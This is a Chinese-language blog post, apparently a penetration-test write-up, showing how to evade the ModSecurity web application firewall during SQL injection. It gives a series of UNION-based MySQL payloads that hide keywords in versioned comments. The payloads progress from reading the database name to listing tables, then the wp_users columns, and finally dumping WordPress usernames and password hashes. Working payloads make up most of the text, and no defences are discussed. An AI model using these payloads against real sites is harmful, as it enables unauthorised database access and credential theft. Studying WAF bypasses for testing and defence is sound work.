SQL注入之ModSecurity防火墻繞過
VSole2022-04-20 21:32:43
研究人員在對網站進行滲透測試時,發現該網站存在SQL注入點,可以繞過 “mod_security” 防火墻。ModSecurity是一個開源、跨平臺的web應用程序防火墻(WAF),用于實時Web應用程序監視,日志記錄和訪問控制。
在網站中使用以下注入語句,會彈出錯誤提示:
site/ejemplo?parameter=-1+union+selec+1,2,3,4,5,6,7+--+

如下所示,我們只需在上訴有效載荷中添加注釋,就可以繞過waf的檢測了。
site/ejemplo?parameter=-1+/*!50000union*/+/*!50000selec*/+1,2,3,4,5,6,7+--+

從上圖中可以看出,第四列中存在漏洞。為了獲得更多的信息,研究人員嘗試上傳了以下有效載荷:
AND mod(29,9)+div+@a:=(concat(database(),"--","_Y000!_"))+UNION+DISTINCTROW+SELECT+1,2,3,@a,5,6,7 "AND" = 如果用AND分隔的所有條件都為TRUE,則AND運算符將返回一條記錄。"mod(29,9)" = mod的功能是在值之間進行劃分"div" = 在sql中,div函數被視為除法"@a:=" = 用于在內部保存SQL查詢,例如@a:=(concat(database(),"--","_Y000!_")"union" = 連接兩個以上的sql命令"distinctrow" = 避免結果重復"select" = 從數據庫中選擇我們想要的"數據庫中的列數"AND mod(29,9)+div+@a:=(concat(database(),"--","_Y000!_"))+UNION+DISTINCTROW+SELECT+1,2,3,@a,5,6,7"
同樣,在該有效載荷中添加注釋,即可繞過waf的檢測:
-1+AND+mod(29,9)+div+@a:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3,@a,"_Y000!_",6,7--+

結果如下圖所示:

從上圖可以看出,我們可以從數據庫中提取信息,同時我們還可以在concat函數中插入一些分隔符,如下所示:
@a:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)
點擊右側下載圖標可以對文件進行下載。有趣的是,下載文件的選項也存在漏洞,并清楚地向顯示了易受攻擊的是第5列。

利用該漏洞,我們可以進一步的挖掘。如下所示,我們可以在有效載荷中添加更多的字符,以從數據庫表的名稱中提取基本信息:
-1+AND+mod(29,9)+div+@a:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3,@a,table_name,6,7+/*!50000from*/+/*!50000information_schema.tables*/+--+

結果如下圖所示:

在之前的情況下,我們只有一個文件可以下載,但現在顯示出了更多的信息。仔細觀察,可以發現新出現的是有效載荷所提取的數據庫信息。在右圖代碼中,可以看出我們有很多的 ,這是HTML中的表格,每個表中都有數據庫表的名稱。但這未免也太多了些,由此可以意識到該頁面使用了wordpress

從字面上看,我們什么都沒有隱藏!
-1+AND+mod(29,9)+div+@a:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3,@a,column_name,6,7+/*!50000from*/+/*!50000information_schema.columns*/+/*!50000where*/+/*!50000table_name="wp_users"*/+--+

最后,我們可以找到用戶名稱和密碼信息
-1+AND+mod(29,9)+div+@a:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3,@a,/*!50000CoNcAt(user_nicename,"--",user_pass)*/,6,7+/*!50000from*/+/*!50000wp_users*/+--+

版權申明:內容來源網絡,版權歸原創者所有。除非無法確認,都會標明作者及出處,如有侵權,煩請告知,我們會立即刪除并致歉!
VSole
網絡安全專家